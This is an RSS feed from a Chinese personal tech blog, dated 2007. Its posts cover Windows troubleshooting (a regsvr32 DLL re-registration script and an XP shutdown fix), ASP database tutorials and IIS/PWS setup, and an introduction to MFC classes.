<?xml version="1.0" encoding="gb2312"?>
<rss version="2.0">
<channel>
<title><![CDATA[我的天下]]></title>
        <image>
        <title>http://hi.baidu.com</title>
        <link>http://hi.baidu.com</link>
        <url>http://img.baidu.com/img/logo-hi.gif</url>
        </image>
<description><![CDATA[收集电脑相关知识文章]]></description>
<link>http://hi.baidu.com/252913380</link>
<language>zh-cn</language>
<generator>www.baidu.com</generator>
<ttl>5</ttl>


<item>
        <title><![CDATA[Automation 服务器不能创建对象]]></title>
        <link><![CDATA[http://hi.baidu.com/252913380/blog/item/0c858b35fd82741191ef3923.html]]></link>
        <description><![CDATA[
		
		<font size="3">方法一:<br>
开始-运行：regsvr32 scrrun.dll<br>
<br>
<br>
<br>
方法二:<br>
&nbsp;请将以下语句复制到记事本中，另存为后缀为.cmd的文件，并运行。当然在命令行下一句句运行也没问题。<br>
echo 正在修复，这个过程可能需要几分钟，请稍候&hellip;&hellip;<br>
rundll32.exe advpack.dll /DelNodeRunDLL32 %systemroot%\System32\dacui.dll<br>
rundll32.exe advpack.dll /DelNodeRunDLL32 %systemroot%\Catroot\icatalog.mdb<br>
regsvr32 /s comcat.dll<br>
regsvr32 /s asctrls.ocx<br>
regsvr32 /s oleaut32.dll<br>
regsvr32 /s shdocvw.dll /I<br>
regsvr32 /s shdocvw.dll<br>
regsvr32 /s browseui.dll<br>
regsvr32 /s browseui.dll /I<br>
regsvr32 /s msrating.dll<br>
regsvr32 /s mlang.dll<br>
regsvr32 /s hlink.dll<br>
regsvr32 /s mshtml.dll<br>
regsvr32 /s mshtmled.dll<br>
regsvr32 /s urlmon.dll<br>
regsvr32 /s plugin.ocx<br>
regsvr32 /s sendmail.dll<br>
regsvr32 /s mshtml.dll /i<br>
regsvr32 /s scrobj.dll<br>
regsvr32 /s corpol.dll<br>
regsvr32 /s jscript.dll<br>
regsvr32 /s msxml.dll<br>
regsvr32 /s imgutil.dll<br>
regsvr32 /s cryptext.dll<br>
regsvr32 /s inseng.dll<br>
regsvr32 /s iesetup.dll /i<br>
regsvr32 /s cryptdlg.dll<br>
regsvr32 /s actxprxy.dll<br>
regsvr32 /s dispex.dll<br>
regsvr32 /s occache.dll<br>
regsvr32 /s iepeers.dll<br>
regsvr32 /s urlmon.dll /i<br>
regsvr32 /s cdfview.dll<br>
regsvr32 /s webcheck.dll<br>
regsvr32 /s mobsync.dll<br>
regsvr32 /s pngfilt.dll<br>
regsvr32 /s licmgr10.dll<br>
regsvr32 /s hhctrl.ocx<br>
regsvr32 /s inetcfg.dll<br>
regsvr32 /s trialoc.dll<br>
regsvr32 /s tdc.ocx<br>
regsvr32 /s MSR2C.DLL<br>
regsvr32 /s msident.dll<br>
regsvr32 /s msieftp.dll<br>
regsvr32 /s xmsconf.ocx<br>
regsvr32 /s ils.dll<br>
regsvr32 /s msoeacct.dll<br>
regsvr32 /s wab32.dll<br>
regsvr32 /s wabimp.dll<br>
regsvr32 /s wabfind.dll<br>
regsvr32 /s oemiglib.dll<br>
regsvr32 /s directdb.dll<br>
regsvr32 /s inetcomm.dll<br>
regsvr32 /s msoe.dll<br>
regsvr32 /s oeimport.dll<br>
regsvr32 /s msdxm.ocx<br>
regsvr32 /s dxmasf.dll<br>
regsvr32 /s laprxy.dll<br>
regsvr32 /s l3codecx.ax<br>
regsvr32 /s acelpdec.ax<br>
regsvr32 /s mpg4ds32.ax<br>
regsvr32 /s danim.dll<br>
regsvr32 /s Daxctle.ocx<br>
regsvr32 /s lmrt.dll<br>
regsvr32 /s datime.dll<br>
regsvr32 /s dxtrans.dll<br>
regsvr32 /s dxtmsft.dll<br>
regsvr32 /s wshom.ocx<br>
regsvr32 /s wshext.dll<br>
regsvr32 /s vbscript.dll<br>
regsvr32 /s scrrun.dll mstinit.exe /setup<br>
regsvr32 /s msnsspc.dll /SspcCreateSspiReg<br>
regsvr32 /s msapsspc.dll /SspcCreateSspiReg<br>
echo.<br>
echo.<br>
echo 修复成功！任意键退出！<br>
pause&gt;nul<br>
就是组件的注册问题<br>
<br>
<br>
<br>
<br>
方法三:<br>
一直用得好好的vs.net编辑器，突然有一天在我新建一个工程时，进行到一半时，弹出&quot;Automation 服务器不能创建对象&quot;，然后就停住了。<br>
&nbsp;<br>
&nbsp; 我到csdn上以&quot;Automation&quot;关键字查阅了C#版的问题，发现有很多朋友都遇上过，而回答的朋友大部分以为提问者问的是IE解析xml文件时的那个错误 (见 http://www.csdn.net/expert/topic/757/757297.xml )<br>
&nbsp; 看到几个回答此类问题的，都是遇到过这个问题的朋友，他们的答案是：重装vs.net都没有作用，最后重新装操作系统才将这个问题解决。<br>
要我装操作系统真是要我的命，所以我一直用　Copy &amp; Paste　工程文件来达到新建工程的目的。<br>
<br>
&nbsp; 直到有一天，我无意中点了　vs_setup.msi 来添加　vs.net　的帮助文档（后来才知道应该点setup.exe来添加的)。vs_setup.msi进行到一半，也是出错了，一看调试结果，是FileSystemObject创建失败（感谢上帝，这里的错误信息终于是友好些了）。<br>
vs.net的错误 &quot;Automation 服务器不能创建对象&quot; 是不是也是这个导致的呢？<br>
<br>
&nbsp; 我突然想起，前几个月在网上听说可以禁止使用FileSystemObject对象，我当时都忘了怎么操作的了，反正当时一摆弄，具体怎么操作的我也忘了,从那起我也从来没有在我的程序里用过FileSystemObject了。到google上搜索，发现禁止FileSystemObject有3种方法(http://www.sometips.com/faqs/315.htm),第一种方法：修改注册表([HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}\ProgID]<br>
@=&quot;Scripting.FileSystemObject&quot;)，将FileSystemObject改成一个任意的名字，只有知道该名字的用户才可以创建该对象。我查看注册表，该处的名字还是　Scripting.FileSystemObject.<br>
<br>
&nbsp; 那么我的FSO为何不能用呢？我突然想起原来当时我用的是第二种方法，&quot;运行Regsvr32 scrrun.dll /u，所有用户无法创建FileSystemObject&quot;。　当时真是太狠了些。赶快运行　Regsvr32 scrrun.dll。我试着用vs.net 创建一个工程,一阵进度提示，再也没有那个该死的　&quot;Automation 服务器不能创建对象&quot;<br>
<br>
所以，遇上这类问题的朋友，仔细想想有没有动这&quot;FileSystemObject&quot;这个奶酪，应该都可以通过这个方法解决的。<br>
否则真的要重新安装操作系统，又要重新安装vs.net喔。<br>
<br>
<br>
<br>
方法四:<br>
在控制面板中打开&ldquo;用户账户&rdquo;，选择其中的&ldquo;更改用户登录或注销的方式&rdquo;时出现&ldquo;automation服务器不能创建对象&rdquo;的错误提示。（如果在执行其他操作时，出现这个错误提示，亦可按下面的方法解决，原因是一样的。）<br>
<br>
解决：主要是Scripting.FileSystemObject（FSO 文本文件读写）被关闭了，开启FSO功能即可，在&ldquo;运行&rdquo;中执行regsvr32 scrrun.dll。<br>
<br>
<br>
<br>
方法五:<br>
不用重新安装操作系统和vs.net，但有些脚本需要微软的 MSXML 控件才能进入。当使用 IE 5 以上版本的缺省安全模式时，会提示是否接受 MSXML 控件，如果接受，MSXML 将自动安装到您的机器上（得等上几分钟）。如果自动安装不成功，可以自行下载和安装 MSXML 3.0。如果安装 MSXML 3 后仍然出现&ldquo;Automation 服务器不能创建对象&rdquo;错误，是因为您的机器禁止了所有的ActiveX，一般将 IE 的安全模式设为&ldquo;中&rdquo;即可</font> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/252913380/blog/category/%B1%E0%B3%CC%D1%A7%CF%B0">编程学习</a>&nbsp;<a href="http://hi.baidu.com/252913380/blog/item/0c858b35fd82741191ef3923.html#comment">查看评论</a>]]></description>
        <pubDate>2007/01/12  17:08</pubDate>
        <category><![CDATA[编程学习]]></category>
        <author><![CDATA[252913380]]></author>
		<guid>http://hi.baidu.com/252913380/blog/item/0c858b35fd82741191ef3923.html</guid>
</item>

<item>
        <title><![CDATA[解决Windows XP关机却重启的故障(转)]]></title>
        <link><![CDATA[http://hi.baidu.com/252913380/blog/item/bcdf02d799e712dda044dfc8.html]]></link>
        <description><![CDATA[
		
		<font size="4"><span class="filecss">对于Windows XP来说，由于其采用了安全性能较高的NT内核，系统运行还算稳定，除了关机速度较慢 之外，一般情况下很少发生关机故障。但有时在关闭Windows XP时却莫名其妙地重启，该故障是Windows XP操作系统关机故障中最容易出现的 故障。造成该故障的原因可能有以下几方面原因：<br>
<br>
系统设置<br>
<br>
Windows XP默认情况下，当系统出现错误时会自动重新启动，这样当用户关机时，如果关机过程中系统出现错误就会重新启动计算机。将该功能关闭往往可以解决自动重启的故障。<br>
<br>
在桌面上右键点击“我的电脑”，在弹出的右键菜单中选择“属性”，弹出“系统属性”窗口，点选“高级”选项卡，点击“启动和故障恢复”栏目中的“设置”按钮，弹出“启动和故障恢复”窗口。在“系统失败”栏目中将“自动重新 启动”选项前的对勾去掉，点“确定”按钮。<br>
<br>
高级电源管理<br>
<br>
众所周知，关机是与电源管理密切相关的，造成关机故障的原因很有可能是电源管理对系统支持不好造成的。<br>
<br>
点击“开始→设置→控制面板→性能与维护→电源选项”，在弹出的窗口中，根据需要启用或取消“高级电源支持”即可。如果你在故障发生时使用的是启用“高级电源支持”，就试着取消它，如果在故障发生时，你使用的是取消“高级电源支持”就试着启用它，故障往往会迎刃而解。<br>
<br>
USB设备<br>
<br>
现在是USB设备大行其道之时，什么U盘、鼠标、键盘、Modem等等，应有尽有。殊不知这些USB设备往往是造成关机故障的罪魁祸首。当出现关机变成 重启故障时，如果你的电脑上接有USB设备，请先将其拔掉，再试试，如果确信是USB设备的故障，那么最好是换掉该设备，或者是连接一个外置 USB Hub，将USB设备接到USB Hub上，而不要直接连到主板的USB接口上。<a target="_blank" href="http://www.pc120.net.cn/"><img height="8" width="8" border="0" src="http://127.0.0.1/images/doc.gif"></a></span></font> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/252913380/blog/category/%B5%E7%C4%D4%B2%D9%D7%F7%BC%BC%CA%F5">电脑操作技术</a>&nbsp;<a href="http://hi.baidu.com/252913380/blog/item/bcdf02d799e712dda044dfc8.html#comment">查看评论</a>]]></description>
        <pubDate>2007/01/01  16:01</pubDate>
        <category><![CDATA[电脑操作技术]]></category>
        <author><![CDATA[252913380]]></author>
		<guid>http://hi.baidu.com/252913380/blog/item/bcdf02d799e712dda044dfc8.html</guid>
</item>

<item>
        <title><![CDATA[ASP开发10条经验总结(转）]]></title>
        <link><![CDATA[http://hi.baidu.com/252913380/blog/item/7489d3c427cc04cb39db499a.html]]></link>
        <description><![CDATA[
		
		<font size="3">1. 不要再做ASP是否过时的讨论，重要的不是你是否使用先进的技术，而是你的设计思想是否先进；<br>
2. 设计时要考虑项目的通用性，永远不要做没有推广价值的东西（为保饭碗除外）；<br>
3. 程序设计要简洁，足够好的面向过程远远优于蹩脚的面向对象；<br>
4. 理论是为实践服务的，所以不要被理论（尤其是设计模式）束缚；<br>
5. 分工合理的情况下尽可能少的人员构成项目小组，通信的开销实在太大了；<br>
6. 没有不变的需求，要为你的程序留下足够多的拓展空间，同时要考虑在系统向其它平台移植时尽量减少工作量和难度的途径；<br>
7. 千万不要忽视界面设计，很多情况下这成为对你项目评价的唯一标准；<br>
8. 用正规文档记下你的变量使用...</font> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/252913380/blog/category/%B1%E0%B3%CC%D1%A7%CF%B0">编程学习</a>&nbsp;<a href="http://hi.baidu.com/252913380/blog/item/7489d3c427cc04cb39db499a.html#comment">查看评论</a>]]></description>
        <pubDate>2007/01/01  00:58</pubDate>
        <category><![CDATA[编程学习]]></category>
        <author><![CDATA[252913380]]></author>
		<guid>http://hi.baidu.com/252913380/blog/item/7489d3c427cc04cb39db499a.html</guid>
</item>

<item>
        <title><![CDATA[在ASP中使用数据库（转)]]></title>
        <link><![CDATA[http://hi.baidu.com/252913380/blog/item/b9be2b2d243fad34349bf79a.html]]></link>
        <description><![CDATA[
		
		<p><font size="3">ASP有一个最重要的功能，就是它可以让你非常轻松地连接<a href="http://www.knowsky.com/sql.asp">数据库</a>。 通常都是和一个Access或者一个SQL数据库相连。因为Access是最容易起步的，同时，在你的机器上也许已经都装有Access了，所以，在下面 的例子中，我们都将使用Access来做例子。一旦你学习了ASP和Access数据库连接的核心技术方法，当你开始使用SQL server的时候，你就会发现，两者所需要的关键技术是基本相同的。</font></p>
<div style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: white; HEIGHT: 1px"><font size="3">转自：动态网制作指南 www.knowsky.com</font></div>
<font size="3"><br>
当你要连接数据库的时候，你需要在服务器上将这个数据库打开。你可以通过使用数据源名（DSN）或者通过在你的脚本语言中直接使用一个DSN-less连接的方法来连接和打开数据库。 </font>
<p><font size="3">创建一个数据源名（DSN） <br>
你可以通过在控制面板中给你的数据库建立一个系统DSN来使你的数据库可以在ASP中连接使用。你可以在你的本地计算机上建立若干个DSN，每个DSN对应你使用的不同的数据库。在建立完DSN之后，你就可以在你的本地服务器上测试你的页面了。如果你的网站是由</font></p>
<p><font size="3">ISP提供服务的，并且这个ISP支持ASP，那么很有可能它就会提供一个GUI接口，来给你的数据库创建一个DSN。</font></p>
<p><font size="3">在Windows 95/98/NT中，打开控制面板（开始菜单－&gt;设置－&gt;控制面板），双击ODBC进入。 <br>
选择系统DSN，点击Add。 <br>
选择“Microsoft Access Driver”，点击结束。 <br>
填写数据源名。这是你给你的数据库起的名字，所以和一个alias是同样的操作。 <br>
在数据库选择中点击选择按钮，浏览系统中你创建的Access数据库所存放的位置。 <br>
点击OK <br>
现在，新的DSN现在就会在系统DSN中显示，并且可以在你的本地服务器上使用了。</font></p>
<p><font size="3">连接数据库 <br>
让我们建立一个DSN-less连接，并且看看是如何连接数据库的。当你创建一个DSN的时候，你就已经存储了关于这个数据库的一些信息，所以你不需要在每次需要使用一些信息的时候重复它们，这些信息如：数据库类型、名称、存放地点和可选性、用户和密码。</font></p>
<p><font size="3">要创建一个DSN-less连接，你就需要提供同样的信息。下面这个例子就显示了如何给一个叫products的数据库建立一个DSN-less连接：</font></p>
<p><font size="3">&lt;% <br>
StrConnect = "Driver={Microsoft Access Driver (*.mdb)}; DBQ=C:\db\products.mdb"<br>
Set objConn = Server.CreateObject ("ADODB.Connection")<br>
objConn.OpenStrConnect<br>
%&gt; </font></p>
<p><font size="3">第二行定义了数据库的驱动和物理路径。为了要使用一个DSN-less连接，你就需要知道实际的文件存放地点（绝对路径）。Server.MapPath给任何一个使用主机服务的人提供了一个简单的工作环境来查找出那些难于查到的实际访问路径。</font></p>
<p><font size="3">如果我们已经建立了一个系统DSN，并命名为products，则连接码应该为：</font></p>
<p><font size="3">&lt;%<br>
Set objConn = Server.CreateObject ("ADODB.Connection")<br>
objConn.Open "products"<br>
%&gt;</font></p>
<p><font size="3">现在，数据库就已经打开了，那么你可以做些什么呢？第一件事情当然就是阅读数据库中的一系列记录，并将它们放到你的页面中去。但是，在这之前，你需要一个recordset。</font></p>
<p><font size="3">Recordset <br>
一个recordset是存储在特殊数据库表上的所有信息。所以，当你打开这个recordset的时候，表中所有的行和列的内容都是可访问的。你需要打开这个recordeset，正如你需要打开数据库连接一样。它们的命令是相似的：</font></p>
<p><font size="3">Set objRec = Server.CreateObject ("ADODB.Recordset")<br>
objRec.Open "downloadable", strConnect, 0,1,2</font></p>
<p><font size="3">这个语句就创建了一个名为downloadable表的recordset(objRec)，这个表在products数据库的 strConnect中定义。使用Recordset open, 我们就可以循环浏览这个表，并且可以将它的所有内容都显示到屏幕上。或者，我们可以测试特定字段的内容，也可以只将我们关注的内容写到屏幕上去。</font></p>
<p><font size="3">每一列代表一个字段。所以，如果数据库表如下所示：</font></p>
<table cellspacing="0" cellpadding="0" width="35%" border="1">
<tbody>
    <tr>
        <td width="24%">
<p align="left"><font size="3">Product ID</font></p>
</td>
        <td width="24%">
<p align="left"><font size="3"> SKU</font></p>
</td>
        <td width="24%">
<p align="left"><font size="3"> Name</font></p>
</td>
        <td width="27%">
<p align="left"><font size="3"> File</font></p>
</td>
    </tr>
    <tr>
        <td valign="top" width="24%">
<p align="left"><font size="3"> 1</font></p>
</td>
        <td valign="top" width="24%">
<p align="left"><font size="3"> PR12345</font></p>
</td>
        <td valign="top" width="24%">
<p align="left"><font size="3"> Product A</font></p>
</td>
        <td valign="top" width="27%">
<p align="left"><font size="3"> install_a.exe</font></p>
</td>
    </tr>
    <tr>
        <td valign="top" width="24%">
<p align="left"><font size="3"> 2</font></p>
</td>
        <td valign="top" width="24%">
<p align="left"><font size="3"> PR12346</font></p>
</td>
        <td valign="top" width="24%">
<p align="left"><font size="3"> Product B</font></p>
</td>
        <td valign="top" width="27%">
<p align="left"><font size="3"> Install_b.exe</font></p>
</td>
    </tr>
</tbody>
</table>
<p><font size="3"><br>
那么，我们就有如下字段的内容：ProductID, SKU, Name, 和File。你的表很可能会有许多额外的字段内容，可能包含很多东西，如价格或者是产品（商品）描述。但是这个示意图可以给你提供最基本的数据库表的概念。<br>
<br>
填写recordset内容 <br>
使用recordset是非常容易的一件事情。如果你想要循环浏览数据库，并将所有的信息都打印到屏幕上显示，你可以按照下面来操作：</font></p>
<p><font size="3"> While NOT objRec.EOF <br>
' says to do this as long as we haven't reached the end of the file<br>
&nbsp;&nbsp; Response.WriteobjRec("ProductID") &amp; ", " <br>
&nbsp;&nbsp; Response.WriteobjRec("SKU") &amp; ", " <br>
&nbsp;&nbsp; Response.WriteobjRec("Name") &amp; ", " <br>
&nbsp;&nbsp; Response.WriteobjRec("File") &amp; "&lt;BR&gt;" <br>
&nbsp;&nbsp;&nbsp;&nbsp; objRec.MoveNext<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Wend ; <br>
即 使你没有如此使用过loop，你仍然可以通过阅读这个代码来将信息写到comma-delimited字符串里，并且当数据库表中创建了一个新行的时候， 就重新创建一个新的行，来记录表中的那一行。你可以使用同样的方法将数据写到HTML表格中去。通过使用Response.Write添加你的TABLE 标签，需要记住以下几点：</font></p>
<p><font size="3">你的HTML 标签和引号中的内容。 <br>
如果你的标签或者内容使用了引号，注意使用双引号：<br>
&lt;FONT SIZE=""+2""&gt;. <br>
使用&amp;来连接变量和HTML/内容信息 <br>
选择recordset中的字段<br>
假 设我们的products数据库同样包含一个叫OS的字段，假设这个字段是一个平台分界符。同样，让我们假设存储在这个字段的数据只能是如下的数据： Windows NT, Windows 95, Windows 98, Windows, Mac, Unix, 或者 <a href="http://www.knowsky.com/article.asp?typeid=60">Linux</a>。</font></p>
<p><font size="3">下面，我们就可以确认我们需要将哪个字段打印到屏幕上，而要忽略哪些那些字段。或者，我们可以选择哪些字段用一种格式，而另外的字段用其它的格式，如，使用不同的颜色。</font></p>
<p><font size="3">使用一个简单的If...，循环就可以给我们提供更多的数据库控制权利。首先让我们来打印有关Windows NT产品的记录：</font></p>
<p><font size="3"> <br>
&lt;TABLE BORDER=0 WIDTH=600&gt; </font></p>
<p><font size="3">&lt;TR&gt;&lt;TD COLSPAN=4 ALIGN=CENTER&gt;&lt;FONT SIZE="+1"&lt;&lt;B&gt;Windows NT Products&lt;/B&gt;&lt;/FONT&gt;&lt;/TD&gt;&lt;/TR&gt; </font></p>
<p><font size="3">&lt;%<br>
&nbsp;&nbsp; While NOT objRec.EOF</font></p>
<p><font size="3">&nbsp;&nbsp; If objRec("OS") = "Windows NT" THEN ' specifies the criteria </font></p>
<p><font size="3">Response.Write "&lt;TR&gt;&lt;TD BGCOLOR=""#FFFF66""&gt;" &amp; objRec("ProductID") &amp; "&lt;/TD&gt;"<br>
Response.Write "&lt;TD&gt;" &amp; objRec("SKU") &amp; "&lt;/TD&gt;" <br>
Response.Write "&lt;TD&gt;" &amp; objRec("Name") &amp; "&lt;/TD&gt;" <br>
Response.Write "&lt;TD&gt;" &amp; objRec("File") &amp; "&lt;/TD&gt;&lt;/TR&gt;" </font></p>
<p><font size="3">&nbsp;&nbsp; end if <br>
&nbsp;&nbsp; objRec.MoveNext<br>
&nbsp;&nbsp; Wend</font></p>
<p><font size="3">%&gt;<br>
&lt;/TABLE&gt;<br>
添加一个记录 <br>
一旦你开始使用recordset和ASP了，你就会十分希望能够通过网络将数据添加到数据库中去。添加内容是非常重要的，如，当你需要你的网页浏览者留下它们的观点和看法，或者，当你想要进行管理更新的时候。</font></p>
<p><font size="3"> <br>
下面的代码打开了一个recordset，这个recordset是有关一个有着书本和它们作者名字的数据库表格。你可能曾经看到过这 个，但是这次，最后三个说明书定义的指针类型是不同的：adOpenStatic, adLockOptimistic, adCmdTable: </font></p>
<p><font size="3">&lt;%&nbsp;&nbsp;&nbsp; ' database connection already made; code not shown here<br>
Set objRec = Server.CreateObject ("ADODB.Recordset")<br>
&nbsp;&nbsp; objRec.Open "books", bookdb, adOpenStatic, adLockOptimistic, adCmdTable<br>
%&gt; </font></p>
<p><font size="3">(如果你没有使用adovbs.inc的复制文件，第三行应该为：objRec.Open "books", bookdb, 3,3,2). </font></p>
<p><font size="3">recordset现在就准备好接收数据了，你只需要告诉它添加什么。在这个情况下，假设我们从表格中取出变量：strBookTitle和 strBookAuthor。我们的table, books有两个字段，称作Title 和 Author，所以我们可以通过使用下面的语句来添加一个新的记录：</font></p>
<p><font size="3">&lt;%<br>
objRec.AddNew<br>
&nbsp;&nbsp; ObjRec("Title") = strBookTitle<br>
&nbsp;&nbsp; objRec("Author") = strBookAuthor<br>
&nbsp;&nbsp; objRec.Update<br>
%&gt;</font></p>
<p><font size="3">strBookTitle和strBookAuthor代表值，通常被用户访问。如果你只是想测试add功能，你可以给title和author添加一个变量――只是需要记住使用引号。在你第一次使用它的时候，你可能会立即打开你的数据库，以确保更新的发生。</font></p>
<p><font size="3">Recordset类型 <br>
在显示的objRec.Open例子中，你会发现在末尾有0，1，2的字样。这些数字代表不同的指针类型。你是用 的类型依赖于你将使用它来干什么。例如，如果你不需要修改或增加任何的记录，你可以使用一个Lock类型。而当你计划要修改或者更新数据库的时候，你所选 择的类型就会不同。</font></p>
<p><font size="3">0,1,2 实际上代表：</font></p>
<p><font size="3">adOpenForwardOnly, adLockReadOnly, adCmdTable</font></p>
<p><font size="3">当然，如果在你的服务器上已经有了adovbs.inc的备份，那么，你也可以不使用数字，直接使用这些单词。adovbs.inc 包括了这三个常量和其它常量的一个列表。</font></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/252913380/blog/category/%B1%E0%B3%CC%D1%A7%CF%B0">编程学习</a>&nbsp;<a href="http://hi.baidu.com/252913380/blog/item/b9be2b2d243fad34349bf79a.html#comment">查看评论</a>]]></description>
        <pubDate>2007/01/01  00:55</pubDate>
        <category><![CDATA[编程学习]]></category>
        <author><![CDATA[252913380]]></author>
		<guid>http://hi.baidu.com/252913380/blog/item/b9be2b2d243fad34349bf79a.html</guid>
</item>

<item>
        <title><![CDATA[ASP运行环境的搭建（转）]]></title>
        <link><![CDATA[http://hi.baidu.com/252913380/blog/item/8d0038d10f3d3c389b50279f.html]]></link>
        <description><![CDATA[
		
		<p><font size="4"><strong>首先选择<a href="http://www.knowsky.com/system.asp">操作系统</a>。由于ASP属于MS（Microsoft）的东西，所以我们要选择MS的操作系统，Windows 98以上就可以（Windows Me和<a href="http://www.knowsky.com/article.asp?typeid=58">Windows XP</a> Home不行）。 </strong></font></p>
<p><font size="4"><strong>&nbsp;&nbsp;&nbsp;&nbsp; 然后就是搭建个人WEB服务器（Personnel Web Serice），这就要根据操作系统来了。配置是这样的：Win98+PWS(personnel web serice)/Win2000 Pro+IIS(Internet Information Serice)/Win2000 Server+IIS(Win2000 Server 中IIS是默认安装)/Win2000 Advance Server+IIS(这里IIS也是默认安装)/WinXP+IIS/Win2003+IIS.下面具体讲一下如何安装和配置PWS/IIS。</strong></font></p>
<p><font size="4"><strong>一、PWS的安装和配置：PWS包含在WIN98的专门碟里面，到网上搜索一下也可以找到下载，然后点击安装，这里就不多说安装了，跟别的软件安装 是一样。安装之后在WIN98的桌面上会有一个“发布”的图标，在任务栏时钟旁也有一个图标，在开始-&gt;程序 里面会添加一项，这就是PWS了，无论你从哪个地方启动它都可以，默认状态是安装后就启动了。点击打开。这里我们有几项要进行设置的。首先设置主目录，在 “高级”里面，选择主目录进行设置，默认是在X:\Inetpub\wwwroot(X:表示系统盘),你可以进行更改，改到你想要的目录。再设置一下文 档，这个是你默认打开你自己站点的文件名。里面一般有default.html和default.asp，但是一般来说我们习惯用index.asp和 index.htm作为主页名，所以在这里我们还要添加index.asp和index.htm。现在我们设置虚拟目录，点击“虚拟目录”，给虚拟目录命 一个比较形象的名字，例如你的ASP程序是一个论坛程序，就命名为BBS（大小写不区分，最好不要用中文命名），这个自己命名就是，再选择虚拟目录的路 径，你在这里选择你自己程序所在的路径，例如: d:\我的论坛\bbs\。这样PWS我们算是基本配置完成。现在你可以在IE里面浏览你的ASP文件了。打开IE,在地址栏里输入：<a href="http://xxx/">http://XXX</a>(你 的计算机名或是127.0.0.1或是localhost)/XXXXX(你的虚拟目录名，也就是你在设置虚拟目录时命的名，如果放在X:\ Inetpub\wwwroot下的话就不要虚拟目录了,如网址:www.knowsky.com)/wwww(文件名,如果是 default.asp/default.html/index.htm/index.asp这样的文件名也可以省略不填)。如果你的ASP文件有错误的 话，IE就会报错。</strong></font></p>
<p><font size="4"><strong>二、IIS的安装和配置。WIN2000 server/WIN2000 advance server都是默认安装的，如果在安装时没选择的话，也按照下面的步骤来吧。win2000 pro/winxp pro/win2003的用户开始-&gt;控制面板-&gt;添加/删除程序-&gt;添加删除WINDOWS程序组件 在里面把internet 信息服务(IIS)打上勾,然后插入WINDOWS安装光盘，点击下一步，这样就开始安装IIS，安装过程就不多说了，也是普通软件安装一样，不是点下一 步就是点完成和确定。现在开始配置IIS了。开始-&gt;控制面板-&gt;管理工具-&gt;internet 信息服务。打开之后就到了IIS的控制台了。点计算机名前面的+号展开，再点网站前在的+号展开，这时就有一个默认网站，这里就是我们要配置IIS的关键 地方了。右击“默认网站”，在弹出菜单里选择“属性”这时就会弹出“属性”选顶卡。一般情况下“网站/常规”选项卡不要更改。选择“主目录”选项卡，本地 路径就是你的主目录路径，这里你可以点浏览更改到你想设置的目录下，默认是：X:\inetpub\wwwroot（X：表示系统盘）。在这里还可以设置 你的网站的用户操作权限。这些设置完后就转到“文档”选项卡，首先要在“启用默认文档”前面打勾，默认是打勾的。点击“添加”，可以添加默认文档，例如添 加index.asp、index.htm、index.html等等，这是你网站默认打开的主文件名，在这里也可以进行删除，选择你要删除的文档之后再 点“删除”，现在“属性”选项卡基本设置好了，点应用、确定就返回到IIS控制台了。现在就是设置虚拟目录了（如果你的文件放在X:\inetpub\ wwwroot下面的话就不要设置了）,右击“默认网站”选择“新建”-&gt;"虚拟目录"。输入虚拟目录名，下一步，选择文件路径，下一步，完成。现 在IIS的配置我们基本完成了，现在我们就可以利用IIS+IE进行ASP的调试了。打开IE,在地址栏里输入：<a href="http://xxx/">http://XXX</a>(你 的计算机名或是127.0.0.1或是localhost)/XXXXX(你的虚拟目录名，也就是你在设置虚拟目录时命的名，如果放在X:\ Inetpub\wwwroot下的话就不要虚拟目录了)/wwww(文件名,如果是 default.asp/default.html/index.htm/index.asp这样的文件名也可以省略不填)。如果你的ASP文件有错误的 话，IE就会报错。<br>
好了，基本上就是这些了，还有就要靠各位自己慢慢去摸索了。这个还是要自己操作一下就明白了。其它的高级设置自己试试就明白了，一般有这些设置就足够了。</strong></font></p>
<div style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: white; HEIGHT: 1px"><font size="4"><strong>转自:动态网制作指南 www.knowsky.com</strong></font></div>
<p><font size="4"><strong>&nbsp;&nbsp;&nbsp;&nbsp; 最后说一点点：一般PWS/IIS出错的话，只有重装系统才能恢复。在WINXP Pro中经常会出现不能对<a href="http://www.knowsky.com/sql.asp">数据库</a>进行更新（添加、修改、删除）操作，只能进行读操作，办法是重装IIS，再要么就是重装另一个版本的WINXP Pro，所以建议使用WIN2000 Server+IIS(Win2003我还没有用过)。</strong></font></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/252913380/blog/category/%B1%E0%B3%CC%D1%A7%CF%B0">编程学习</a>&nbsp;<a href="http://hi.baidu.com/252913380/blog/item/8d0038d10f3d3c389b50279f.html#comment">查看评论</a>]]></description>
        <pubDate>2007/01/01  00:43</pubDate>
        <category><![CDATA[编程学习]]></category>
        <author><![CDATA[252913380]]></author>
		<guid>http://hi.baidu.com/252913380/blog/item/8d0038d10f3d3c389b50279f.html</guid>
</item>

<item>
        <title><![CDATA[1.5 MFC中常用类，宏，函数介绍]]></title>
        <link><![CDATA[http://hi.baidu.com/252913380/blog/item/fcf89bca53ecfd86c8176868.html]]></link>
        <description><![CDATA[
		
		常用类<br />
<br />
CRect：用来表示矩形的类，拥有四个成员变量：top left bottom right。分别表是左上角和右下角的坐标。可以通过以下的方法构造： <br />
<br />
CRect( int l, int t, int r, int b ); 指明四个坐标<br />
<br />
CRect( const RECT&amp; srcRect ); 由RECT结构构造<br />
<br />
CRect( LPCRECT lpSrcRect ); 由RECT结构构造<br />
<br />
CRect( POINT point, SIZE size ); 有左上角坐标和尺寸构造<br />
<br />
CRect( POINT topLeft, POINT bottomRight ); 有两点坐标构造<br />
<br />
下面介绍几个成员函数：<br />
<br />
int Width( ) const; 得到宽度 <br />
int Height( ) const; 得到高度 <br />
CSize Size( ) const; 得到尺寸 <br />
CPoint&amp; TopLeft( ); 得到左上角坐标 <br />
CPoint&amp; BottomRight( ); 得到右下角坐标 <br />
CPoint CenterPoint( ) const; 得当中心坐标 <br />
此外矩形可以和点（CPoint）相加进行位移，和另一个矩形相加得到&ldquo;并&rdquo;操作后的矩形。 <br />
<br />
CPoint：用来表示一个点的坐标，有两个成员变量：x y。 可以和另一个点相加。<br />
<br />
